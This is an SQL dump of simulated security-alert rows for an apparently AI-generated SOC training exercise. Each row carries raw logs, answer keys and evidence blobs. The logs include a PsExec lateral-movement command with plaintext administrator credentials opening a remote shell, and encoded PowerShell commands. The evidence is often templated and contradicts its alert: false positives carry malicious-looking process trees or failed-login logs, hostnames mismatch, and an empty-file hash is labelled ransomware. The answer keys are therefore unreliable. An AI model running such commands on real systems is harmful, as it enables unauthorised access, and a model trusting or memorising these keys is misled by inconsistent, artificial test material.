INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(653, 'Malware Execution via Suspicious EXE', 'critical', 'EDR', 'A suspicious executable was detected running on the endpoint, showing signs of malware infection and potential data exfiltration.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"awilliams\",\"hostname\":\"laptop-02\",\"command_line\":\"C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 11:03:21', '2026-02-16 18:02:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known ransomware variant\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable exhibits behavior typical of ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable hash is linked to ransomware, requiring immediate isolation and investigation.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(654, 'Lateral Movement Detected via PSExec', 'high', 'SIEM', 'Suspicious lateral movement detected using PSExec from an internal IP, indicating possible unauthorized access.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:50:37Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"administrator\",\"hostname\":\"server-02\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\"}', '2026-01-11 12:58:57', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP for lateral movement within network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec used in unauthorized lateral movement attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target IP for unauthorized access attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec was used for lateral movement within the network, indicating potential unauthorized access.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(655, 'Potential Data Exfiltration via FTP', 'high', 'Firewall', 'Unusual FTP traffic was detected, indicating possible unauthorized data transfer to an external IP.', 'Data Exfiltration', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:00:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"203.0.113.77\",\"username\":\"backupuser\",\"hostname\":\"backup-server\",\"domain\":\"ftp.example.com\"}', '2026-01-10 06:59:49', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in suspicious FTP traffic\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"ftp.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate FTP domain with no known issues\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup server\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is involved in suspicious FTP traffic, suggesting potential data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(656, 'DNS Tunneling Activity Detected', 'medium', 'IDS', 'Unusual DNS queries detected, possibly indicating DNS tunneling for data exfiltration or command and control.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:15:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.88\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"suspicious-dns.example.com\"}', '2026-01-10 21:24:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-dns.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for DNS tunneling and data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with suspicious DNS traffic\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in DNS tunneling activity\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DNS queries to this domain are indicative of tunneling activity for data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(657, 'False Positive: Legitimate Software Update', 'low', 'EDR', 'A software update process was flagged as suspicious but verified to be a legitimate update from a trusted source.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T04:22:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"laptop-03\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 06:52:04', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash matches a known legitimate software update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process was flagged due to unusual execution patterns but verified as a legitimate update.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(658, 'False Positive: Unusual Login Time', 'medium', 'SIEM', 'A login event occurred at an unusual time for the user, but investigation revealed it was a legitimate access.', 'Credential Attack', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T05:10:10Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"\",\"username\":\"mjohnson\",\"hostname\":\"workstation-04\",\"failed_attempts\":0}', '2026-01-11 03:18:55', '2026-02-16 05:12:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjohnson\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Employee account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was initially flagged due to the time but was confirmed as legitimate after user verification.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:31:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:30:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:29:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:28:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(659, 'False Positive: High Volume Web Traffic', 'low', 'Firewall', 'An alert was triggered for high volume web traffic, which was determined to be legitimate business activity.', 'Web Attack', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:45:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"203.0.113.200\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"business-partner.com\"}', '2026-01-09 15:07:34', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Trusted partner domain with no security issues\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of a business unit\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"business-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate business partner domain\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The traffic volume was high due to a scheduled data exchange with a business partner.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(660, 'Suspicious PowerShell Command with Encoded Payload', 'high', 'Splunk', 'A PowerShell script was executed using an encoded command, indicating possible obfuscation tactics.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.12\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-WIN12\",\"command_line\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\"}', '2026-01-09 15:31:43', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used for obfuscation by malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are a known indicator of malicious activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(661, 'Multiple Failed Login Attempts Detected', 'medium', 'Wazuh', 'A foreign IP address attempted to log in 23 times unsuccessfully, indicating a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.25\",\"username\":\"administrator\",\"hostname\":\"DC01\",\"failed_attempts\":23}', '2026-01-10 14:02:12', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Frequent failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, 